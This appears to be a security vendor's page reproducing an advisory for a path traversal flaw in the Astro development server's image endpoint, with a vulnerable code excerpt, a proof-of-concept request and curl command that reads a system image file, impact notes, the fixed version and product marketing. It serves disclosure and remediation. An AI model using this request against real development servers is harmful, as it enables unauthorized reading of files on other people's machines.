GHSA-x3h8-62x9-952g is a low-severity (CVSS 3.5) Path Traversal vulnerability in astro. O3 Security confirms whether GHSA-x3h8-62x9-952g is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Astro Development Server has Arbitrary Local File Read
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, a proxy for how much of the ecosystem is exposed.
astronpmDescription
Summary
A vulnerability has been identified in the Astro framework's development server that allows arbitrary local file read access through the image optimization endpoint. The vulnerability affects Astro development environments and allows remote attackers to read any image file accessible to the Node.js process on the host system.
Details
- Title: Arbitrary Local File Read in Astro Development Image Endpoint
- Type: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
- Component:
/packages/astro/src/assets/endpoint/node.ts - Affected Versions: Astro v5.x development builds (confirmed v5.13.3)
- Attack Vector: Network (HTTP GET request)
- Authentication Required: None
The vulnerability exists in the Node.js image endpoint handler used during development mode. The endpoint accepts an href parameter that specifies the path to an image file. In development mode, this parameter is processed without adequate path validation, allowing attackers to specify absolute file paths.
Vulnerable Code Location: packages/astro/src/assets/endpoint/node.ts
// Vulnerable code in development mode
if (import.meta.env.DEV) {
fileUrl = pathToFileURL(removeQueryString(replaceFileSystemReferences(src)));
} else {
// Production has proper path validation
// ... security checks omitted in dev mode
}
The development branch bypasses the security checks that exist in the production code path, which validates that file paths are within the allowed assets directory.
PoC
Attack Prerequisites
- Astro development server must be running (
astro dev) - The
/_imageendpoint must be accessible to the attacker - Target image files must be readable by the Node.js process
Exploit Steps
-
Start Astro Development Server:
astro dev # Typically runs on http://localhost:4321 -
Craft Malicious Request:
GET /_image?href=/[ABSOLUTE_PATH_TO_IMAGE]&w=100&h=100&f=png HTTP/1.1 Host: localhost:4321 -
Example Attack:
curl "http://localhost:4321/_image?href=/%2FSystem%2FLibrary%2FImage%20Capture%2FAutomatic%20Tasks%2FMakePDF.app%2FContents%2FResources%2F0blank.jpg&w=100&h=100&f=png" -o stolen.png
Demonstration Results
Test Environment: macOS with Astro v5.13.3
Successful Exploitation:
- Target:
/System/Library/Image Capture/Automatic Tasks/MakePDF.app/Contents/Resources/0blank.jpg - Response: HTTP 200 OK, Content-Type: image/png
- Exfiltration: 303 bytes (100x100 PNG)
- File Created:
stolen-image.pngcontaining processed system image
Attack Payload:
http://localhost:4321/_image?href=/%2FSystem%2FLibrary%2FImage%20Capture%2FAutomatic%20Tasks%2FMakePDF.app%2FContents%2FResources%2F0blank.jpg&w=100&h=100&f=png
Server Response:
Status: 200 OK
Content-Type: image/png
Content-Length: 303
Impact
Confidentiality Impact: HIGH
- Scope: Any image file readable by the Node.js process
- Exfiltration Method: Complete file contents via HTTP response (transformed to PNG)
Integrity Impact: NONE
- The vulnerability only allows reading files, not modification
Availability Impact: NONE
- No direct impact on system availability
- Potential for resource exhaustion through repeated large image requests
Affected Components
Primary Component
- File:
packages/astro/src/assets/endpoint/node.ts - Function:
loadLocalImage() - Lines: Development mode branch (~25-35)
Secondary Components
- File:
packages/astro/src/assets/endpoint/generic.ts - Impact: Uses different code path, not directly vulnerable
- Note: Implements proper remote allowlist validation
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | astro | all versions | 5.14.3 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for astro. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update astro to 5.14.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-x3h8-62x9-952g is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-x3h8-62x9-952g is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-x3h8-62x9-952g. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-x3h8-62x9-952g in your dependencies?
O3 detects GHSA-x3h8-62x9-952g across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.